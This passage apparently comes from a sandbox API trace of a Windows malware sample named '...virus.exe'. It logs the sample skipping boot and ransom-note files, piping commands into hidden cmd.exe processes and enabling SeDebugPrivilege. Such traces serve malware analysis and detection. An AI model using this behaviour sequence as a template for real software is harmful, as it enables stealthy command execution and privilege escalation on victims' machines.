Size=0x24e) returned 0x750658 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x750658, Size=0x3cc) returned 0x750658 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x98) returned 0x74e6b8 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x74e6b8, Size=0x132) returned 0x750a30 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x6a) returned 0x74e6b8 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a3a8 | out: hHeap=0x730000) returned 1 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750400 | out: hHeap=0x730000) returned 1 [0051.864] GetProcessHeap () returned 0x730000 [0051.864] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b2b8 | out: hHeap=0x730000) returned 1 [0051.864] GetProcessHeap () returned 0x730000 [0051.865] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e5e8 | out: hHeap=0x730000) returned 1 [0051.865] GetProcessHeap () returned 0x730000 [0051.865] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x741830 | out: hHeap=0x730000) returned 1 [0051.865] GetProcessHeap () returned 0x730000 [0051.865] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e450 | out: hHeap=0x730000) returned 1 [0051.865] GetProcessHeap () returned 0x730000 [0051.865] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.865] GetProcessHeap () returned 0x730000 [0051.865] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a218 | out: hHeap=0x730000) returned 1 [0051.865] GetProcessHeap () returned 0x730000 [0051.865] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x749d50 [0051.865] GetProcessHeap () returned 0x730000 [0051.865] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x749ee0 [0051.865] GetProcessHeap () returned 0x730000 [0051.865] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x749dc8 [0051.865] GetProcessHeap () returned 0x730000 [0051.865] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.865] GetProcessHeap () returned 0x730000 [0051.865] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.865] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x749ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0051.865] GetProcessHeap () returned 0x730000 [0051.865] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749dc8 | out: hHeap=0x730000) returned 1 [0051.865] GetProcessHeap () returned 0x730000 [0051.865] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749d50 | out: hHeap=0x730000) returned 1 [0051.865] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x34fc84, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x34fc84*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0051.865] GetProcessHeap () returned 0x730000 [0051.865] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749ee0 | out: hHeap=0x730000) returned 1 [0051.865] GetProcessHeap () returned 0x730000 [0051.865] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x28) returned 0x74e730 [0051.865] GetProcessHeap () returned 0x730000 [0051.865] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x741830 [0051.865] GetProcessHeap () returned 0x730000 [0051.866] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x190) returned 0x750400 [0051.866] GetProcessHeap () returned 0x730000 [0051.866] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x70) returned 0x74dba0 [0051.866] GetProcessHeap () returned 0x730000 [0051.866] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x6a) returned 0x750598 [0051.866] GetProcessHeap () returned 0x730000 [0051.866] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x750598, Size=0xd2) returned 0x74b2b8 [0051.866] GetProcessHeap () returned 0x730000 [0051.866] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x184) returned 0x74e450 [0051.866] GetProcessHeap () returned 0x730000 [0051.866] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x741728 [0051.866] GetProcessHeap () returned 0x730000 [0051.866] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x74a218 [0051.866] GetProcessHeap () returned 0x730000 [0051.866] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x250) returned 0x750b70 [0051.866] GetProcessHeap () returned 0x730000 [0051.866] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa0) returned 0x750598 [0051.866] GetProcessHeap () returned 0x730000 [0051.866] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x96) returned 0x74e5e0 [0051.866] GetProcessHeap () returned 0x730000 [0051.866] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x96) returned 0x74a430 [0051.866] GetProcessHeap () returned 0x730000 [0051.866] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74a4d0 [0051.866] GetProcessHeap () returned 0x730000 [0051.866] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a4d0 | out: hHeap=0x730000) returned 1 [0051.866] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt", lpDst=0x74e5e0, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;spfs.txt") returned 0x4b [0051.866] GetProcessHeap () returned 0x730000 [0051.866] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a430 | out: hHeap=0x730000) returned 1 [0051.866] GetProcessHeap () returned 0x730000 [0051.866] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750598 | out: hHeap=0x730000) returned 1 [0051.866] GetProcessHeap () returned 0x730000 [0051.866] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x70) returned 0x750598 [0051.866] GetProcessHeap () returned 0x730000 [0051.867] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x62) returned 0x74e798 [0051.867] GetProcessHeap () returned 0x730000 [0051.867] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x62) returned 0x74a430 [0051.867] GetProcessHeap () returned 0x730000 [0051.867] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74a4a0 [0051.867] GetProcessHeap () returned 0x730000 [0051.867] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a4a0 | out: hHeap=0x730000) returned 1 [0051.867] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x74e798, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0051.867] GetProcessHeap () returned 0x730000 [0051.867] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a430 | out: hHeap=0x730000) returned 1 [0051.867] GetProcessHeap () returned 0x730000 [0051.867] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x74e798, Size=0xc2) returned 0x74a430 [0051.867] GetProcessHeap () returned 0x730000 [0051.867] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xc2) returned 0x74a500 [0051.867] GetProcessHeap () returned 0x730000 [0051.867] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74a5d0 [0051.867] GetProcessHeap () returned 0x730000 [0051.867] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a5d0 | out: hHeap=0x730000) returned 1 [0051.867] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x74a430, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0051.867] GetProcessHeap () returned 0x730000 [0051.867] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a500 | out: hHeap=0x730000) returned 1 [0051.867] GetProcessHeap () returned 0x730000 [0051.867] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750598 | out: hHeap=0x730000) returned 1 [0051.867] GetProcessHeap () returned 0x730000 [0051.867] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20a) returned 0x750dc8 [0051.867] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x750dc8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x72 [0051.867] GetProcessHeap () returned 0x730000 [0051.867] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750dc8 | out: hHeap=0x730000) returned 1 [0051.867] GetProcessHeap () returned 0x730000 [0051.867] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x182) returned 0x750dc8 [0051.867] GetProcessHeap () returned 0x730000 [0051.867] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x24e) returned 0x750f58 [0051.868] GetProcessHeap () returned 0x730000 [0051.868] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x98) returned 0x750598 [0051.868] GetProcessHeap () returned 0x730000 [0051.868] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x750598, Size=0x132) returned 0x74a500 [0051.868] GetProcessHeap () returned 0x730000 [0051.868] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x6a) returned 0x750598 [0051.868] GetProcessHeap () returned 0x730000 [0051.868] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a218 | out: hHeap=0x730000) returned 1 [0051.868] GetProcessHeap () returned 0x730000 [0051.868] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750b70 | out: hHeap=0x730000) returned 1 [0051.868] GetProcessHeap () returned 0x730000 [0051.868] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e5e0 | out: hHeap=0x730000) returned 1 [0051.868] GetProcessHeap () returned 0x730000 [0051.868] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a430 | out: hHeap=0x730000) returned 1 [0051.868] GetProcessHeap () returned 0x730000 [0051.868] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x741830 | out: hHeap=0x730000) returned 1 [0051.868] GetProcessHeap () returned 0x730000 [0051.868] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750400 | out: hHeap=0x730000) returned 1 [0051.868] GetProcessHeap () returned 0x730000 [0051.868] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.868] GetProcessHeap () returned 0x730000 [0051.868] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e450 | out: hHeap=0x730000) returned 1 [0051.868] GetProcessHeap () returned 0x730000 [0051.868] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x14) returned 0x74dcc8 [0051.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12e22ee, lpParameter=0x74dcc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8 [0051.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12e239a, lpParameter=0x34fcbc, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118 [0051.882] GetProcessHeap () returned 0x730000 [0051.882] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x14) returned 0x74dd28 [0051.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12e2161, lpParameter=0x74dd28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c [0051.882] GetProcessHeap () returned 0x730000 [0051.882] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x14) returned 0x74dd68 [0051.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12e1a76, lpParameter=0x74dd68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0051.883] GetProcessHeap () returned 0x730000 [0051.883] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x14) returned 0x74dda8 [0051.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12e1cc5, lpParameter=0x74dda8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0051.884] WaitForSingleObject (hHandle=0x120, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xaac Thread: id = 11 os_tid = 0x560 [0051.872] GetProcessHeap () returned 0x730000 [0051.872] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x749ee0 [0051.872] GetProcessHeap () returned 0x730000 [0051.872] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x14) returned 0x74dd08 [0051.872] GetProcessHeap () returned 0x730000 [0051.872] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x14) returned 0x74dd28 [0051.872] GetProcessHeap () returned 0x730000 [0051.872] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.872] GetProcessHeap () returned 0x730000 [0051.872] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.872] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x74dd08, nSize=0xa | out: lpDst="") returned 0x1c [0051.872] GetProcessHeap () returned 0x730000 [0051.872] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dd28 | out: hHeap=0x730000) returned 1 [0051.872] GetProcessHeap () returned 0x730000 [0051.872] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x74dd08, Size=0x26) returned 0x74a640 [0051.872] GetProcessHeap () returned 0x730000 [0051.872] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x26) returned 0x74b060 [0051.872] GetProcessHeap () returned 0x730000 [0051.872] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.872] GetProcessHeap () returned 0x730000 [0051.872] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.872] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x74a640, nSize=0x13 | out: lpDst="") returned 0x1c [0051.872] GetProcessHeap () returned 0x730000 [0051.872] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b060 | out: hHeap=0x730000) returned 1 [0051.872] GetProcessHeap () returned 0x730000 [0051.872] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x74a640, Size=0x4a) returned 0x74e798 [0051.872] GetProcessHeap () returned 0x730000 [0051.872] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4a) returned 0x74f418 [0051.872] GetProcessHeap () returned 0x730000 [0051.872] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.872] GetProcessHeap () returned 0x730000 [0051.873] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.873] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x74e798, nSize=0x25 | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0051.873] GetProcessHeap () returned 0x730000 [0051.873] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74f418 | out: hHeap=0x730000) returned 1 [0051.873] GetProcessHeap () returned 0x730000 [0051.873] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749ee0 | out: hHeap=0x730000) returned 1 [0051.873] GetProcessHeap () returned 0x730000 [0051.873] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x50) returned 0x74f418 [0051.873] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0051.873] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0051.873] Wow64DisableWow64FsRedirection (in: OldValue=0xcefcd4 | out: OldValue=0xcefcd4*=0x0) returned 1 [0051.873] GetProcessHeap () returned 0x730000 [0051.873] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74f418 | out: hHeap=0x730000) returned 1 [0051.873] CreatePipe (in: hReadPipe=0xcefcc8, hWritePipe=0xcefcc4, lpPipeAttributes=0xcefce4, nSize=0x0 | out: hReadPipe=0xcefcc8*=0xf8, hWritePipe=0xcefcc4*=0xa4) returned 1 [0051.874] CreatePipe (in: hReadPipe=0xcefccc, hWritePipe=0xcefcd0, lpPipeAttributes=0xcefce4, nSize=0x0 | out: hReadPipe=0xcefccc*=0x100, hWritePipe=0xcefcd0*=0x104) returned 1 [0051.874] SetHandleInformation (hObject=0xa4, dwMask=0x1, dwFlags=0x0) returned 1 [0051.874] SetHandleInformation (hObject=0x100, dwMask=0x1, dwFlags=0x0) returned 1 [0051.874] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xcefd00*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf8, hStdOutput=0x104, hStdError=0x104), lpProcessInformation=0xcefcf0 | out: lpCommandLine=0x0, lpProcessInformation=0xcefcf0*(hProcess=0x160, hThread=0x15c, dwProcessId=0x7d4, dwThreadId=0x7d0)) returned 1 [0052.091] WriteFile (in: hFile=0xa4, lpBuffer=0x74b1e8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0xcefce0, lpOverlapped=0x0 | out: lpBuffer=0x74b1e8*, lpNumberOfBytesWritten=0xcefce0*=0xc2, lpOverlapped=0x0) returned 1 [0052.091] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0075.819] GetProcessHeap () returned 0x730000 [0075.820] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x50) returned 0x74f418 [0075.820] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0075.820] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76d5d668 [0075.820] Wow64RevertWow64FsRedirection (OlValue=0xcefcd4) returned 1 [0075.820] GetProcessHeap () returned 0x730000 [0075.820] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74f418 | out: hHeap=0x730000) returned 1 [0075.820] CloseHandle (hObject=0x160) returned 1 [0075.820] CloseHandle (hObject=0x15c) returned 1 [0075.820] CloseHandle (hObject=0xf8) returned 1 [0075.820] CloseHandle (hObject=0xa4) returned 1 [0075.820] CloseHandle (hObject=0x100) returned 1 [0075.821] CloseHandle (hObject=0x104) returned 1 [0075.821] GetProcessHeap () returned 0x730000 [0075.821] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e798 | out: hHeap=0x730000) returned 1 [0075.821] GetProcessHeap () returned 0x730000 [0075.821] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b1e8 | out: hHeap=0x730000) returned 1 Thread: id = 12 os_tid = 0x10c [0051.878] GetProcessHeap () returned 0x730000 [0051.878] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x749ee0 [0051.878] GetProcessHeap () returned 0x730000 [0051.878] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x14) returned 0x74dd08 [0051.878] GetProcessHeap () returned 0x730000 [0051.878] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x14) returned 0x74dd28 [0051.879] GetProcessHeap () returned 0x730000 [0051.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.879] GetProcessHeap () returned 0x730000 [0051.879] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.879] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x74dd08, nSize=0xa | out: lpDst="") returned 0x1c [0051.879] GetProcessHeap () returned 0x730000 [0051.879] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dd28 | out: hHeap=0x730000) returned 1 [0051.879] GetProcessHeap () returned 0x730000 [0051.879] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x74dd08, Size=0x26) returned 0x74a640 [0051.879] GetProcessHeap () returned 0x730000 [0051.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x26) returned 0x74b060 [0051.879] GetProcessHeap () returned 0x730000 [0051.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.879] GetProcessHeap () returned 0x730000 [0051.879] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.879] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x74a640, nSize=0x13 | out: lpDst="") returned 0x1c [0051.879] GetProcessHeap () returned 0x730000 [0051.879] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b060 | out: hHeap=0x730000) returned 1 [0051.879] GetProcessHeap () returned 0x730000 [0051.879] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x74a640, Size=0x4a) returned 0x74e660 [0051.879] GetProcessHeap () returned 0x730000 [0051.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4a) returned 0x74f418 [0051.879] GetProcessHeap () returned 0x730000 [0051.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.879] GetProcessHeap () returned 0x730000 [0051.879] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.879] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x74e660, nSize=0x25 | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0051.879] GetProcessHeap () returned 0x730000 [0051.879] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74f418 | out: hHeap=0x730000) returned 1 [0051.879] GetProcessHeap () returned 0x730000 [0051.879] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749ee0 | out: hHeap=0x730000) returned 1 [0051.879] GetProcessHeap () returned 0x730000 [0051.879] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x50) returned 0x74f418 [0051.880] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0051.880] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0051.880] Wow64DisableWow64FsRedirection (in: OldValue=0xfbfd7c | out: OldValue=0xfbfd7c*=0x0) returned 1 [0051.880] GetProcessHeap () returned 0x730000 [0051.880] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74f418 | out: hHeap=0x730000) returned 1 [0051.880] CreatePipe (in: hReadPipe=0xfbfd70, hWritePipe=0xfbfd6c, lpPipeAttributes=0xfbfd8c, nSize=0x0 | out: hReadPipe=0xfbfd70*=0x108, hWritePipe=0xfbfd6c*=0x10c) returned 1 [0051.880] CreatePipe (in: hReadPipe=0xfbfd74, hWritePipe=0xfbfd78, lpPipeAttributes=0xfbfd8c, nSize=0x0 | out: hReadPipe=0xfbfd74*=0x110, hWritePipe=0xfbfd78*=0x114) returned 1 [0051.880] SetHandleInformation (hObject=0x10c, dwMask=0x1, dwFlags=0x0) returned 1 [0051.880] SetHandleInformation (hObject=0x110, dwMask=0x1, dwFlags=0x0) returned 1 [0051.880] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xfbfda8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x108, hStdOutput=0x114, hStdError=0x114), lpProcessInformation=0xfbfd98 | out: lpCommandLine=0x0, lpProcessInformation=0xfbfd98*(hProcess=0x144, hThread=0x128, dwProcessId=0x15c, dwThreadId=0x5d4)) returned 1 [0052.091] WriteFile (in: hFile=0x10c, lpBuffer=0x74aff8*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xfbfd88, lpOverlapped=0x0 | out: lpBuffer=0x74aff8*, lpNumberOfBytesWritten=0xfbfd88*=0x5b, lpOverlapped=0x0) returned 1 [0052.091] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0 [0075.812] GetProcessHeap () returned 0x730000 [0075.812] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x50) returned 0x74f418 [0075.812] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0075.812] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76d5d668 [0075.813] Wow64RevertWow64FsRedirection (OlValue=0xfbfd7c) returned 1 [0075.813] GetProcessHeap () returned 0x730000 [0075.813] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74f418 | out: hHeap=0x730000) returned 1 [0075.813] CloseHandle (hObject=0x144) returned 1 [0075.813] CloseHandle (hObject=0x128) returned 1 [0075.813] CloseHandle (hObject=0x108) returned 1 [0075.813] CloseHandle (hObject=0x10c) returned 1 [0075.813] CloseHandle (hObject=0x110) returned 1 [0075.813] CloseHandle (hObject=0x114) returned 1 [0075.813] GetProcessHeap () returned 0x730000 [0075.813] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e660 | out: hHeap=0x730000) returned 1 [0075.813] GetProcessHeap () returned 0x730000 [0075.813] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74aff8 | out: hHeap=0x730000) returned 1 Thread: id = 13 os_tid = 0x208 [0051.886] GetProcessHeap () returned 0x730000 [0051.886] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x440) returned 0x752560 [0051.886] GetProcessHeap () returned 0x730000 [0051.886] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x30) returned 0x74e990 [0051.886] GetCurrentProcess () returned 0xffffffff [0051.886] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x10ff9c8 | out: TokenHandle=0x10ff9c8*=0x128) returned 1 [0051.886] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x10ff9c0 | out: lpLuid=0x10ff9c0*(LowPart=0x14, HighPart=0)) returned 1 [0051.888] AdjustTokenPrivileges (in: TokenHandle=0x128, DisableAllPrivileges=0, NewState=0x10ff9b0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0051.888] CloseHandle (hObject=0x128) returned 1 [0051.888] GetProcessHeap () returned 0x730000 [0051.888] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74e990 | out: hHeap=0x730000) returned 1 [0051.888] GetProcessHeap () returned 0x730000 [0051.888] 